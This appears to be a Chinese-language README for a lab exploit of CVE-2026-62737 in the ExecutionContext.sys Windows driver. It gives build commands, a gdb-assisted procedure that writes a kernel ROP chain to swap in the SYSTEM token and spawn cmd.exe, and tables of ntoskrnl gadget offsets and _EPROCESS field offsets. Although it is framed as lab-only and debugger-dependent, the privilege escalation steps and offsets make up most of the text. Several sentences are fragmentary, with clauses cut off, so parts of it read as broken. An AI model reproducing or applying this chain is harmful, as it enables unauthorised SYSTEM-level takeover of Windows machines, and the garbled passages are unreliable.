这是原始 CVE-2026-62737 分析文章的后续文章
(ExecutionContext.sys 任意内核间接调用)。它将崩溃
PoC 转化为一条可用的 token 交换链,以 SYSTEM 身份启动 cmd.exe,但这仅
适用于实验室环境,其中由调试器提供地址并将 ROP 链写入
内核内存。这并非独立的漏洞利用程序。
ExecutionContext 设备。0x22EC40),并将一个任务(0x22AC54)排入队列,该任务的 Callback 是一个内核 ROP 栈迁移(pivot)。patch_rop.py)将 token 交换 ROP 链写入 ExecutionContext .data,并通过硬件断点捕获迁移时刻的 RSP/RBP。0x226C5C 退出回调),该链将我们的 token 替换为 SYSTEM 的 token,恢复内核栈,并返回到驱动分发器,从而让工作者线程得以存活。gdbserver tcp::1234)、guest agent,以及挂载为 Z: 的主机/客户机共享文件夹。\\.\kloader\{9C0B898D-6275-48EC-81B4-E5EDBE44B535} 的低权限账户。x86_64-w64-mingw32-gcc)和 gdb。x86_64-w64-mingw32-gcc -O2 -municode -o exploit.exe exploit.c
x86_64-w64-mingw32-gcc -O2 -o modlist.exe modlist.c
获取最新基址:./ga.py 'Z:\modlist.exe'(先将 modlist.exe 复制到共享文件夹)。
更新脚本:./refresh_bases.sh。
将 exploit.exe 和 modlist.exe 复制到共享文件夹。
以低权限用户身份启动利用程序:exploit.exe <nt> <ec> <ec+0x10A00>。它会将其 PID 写入 Z:\lab_pid.txt,然后等待 Z:\go_lab.txt。
附加 gdb,并将 LAB_PID_FILE 指向主机上的 lab_pid.txt 副本:
LAB_PID_FILE=/path/to/shared/lab_pid.txt \
gdb -q -ex 'target remote :1234' -ex 'set pagination off' -x patch_rop.py
在 gdb 提示符下输入 continue。
MIT,参见 LICENSE。
| 文件 | 用途 |
|---|
exploit.c | 实验室利用程序:初始化 + 排队 + 等待 gdb 修补 + token 检查 + 启动 cmd。 |
patch_rop.py | gdb 脚本:定位我们的 EPROCESS,写入 ROP 链,启用栈迁移断点。 |
trace_rop.py | 设置相同,但单步执行该链以进行调试。 |
refresh_bases.sh | 根据 modlist.exe 的输出更新 gdb 脚本中每次启动的 nt/ec 基址。 |
modlist.c | 打印每次启动的 ntoskrnl / ExecutionContext 基址(实验室 KASLR 预言机)。 |
ga.py | 通过 QEMU guest agent 在实验室虚拟机内运行命令。 |
释放利用程序:touch /path/to/shared/go_lab.txt。
约 15 秒后,Z:\lab_exploit_out.txt 应显示 system=1,且 Z:\lab_shell_out.txt 应包含 nt authority\system。
| 条目 | 值 |
|---|
| ROP 栈迁移(完整) | nt + 0x6A6A40 |
pop rcx; ret | nt + 0x28843A |
pop rdx; ret | nt + 0x2FECD2 |
mov [rcx], rdx; ret | nt + 0x3BC6A7 |
ret | nt + 0x20043B |
pop rsp; ret | nt + 0x2006C4 |
PsInitialSystemProcess | nt + 0xFC6AF0 |
_EPROCESS.Token | 0x248 |
_EPROCESS.UniqueProcessId | 0x1D0 |
_EPROCESS.ActiveProcessLinks | 0x1D8 |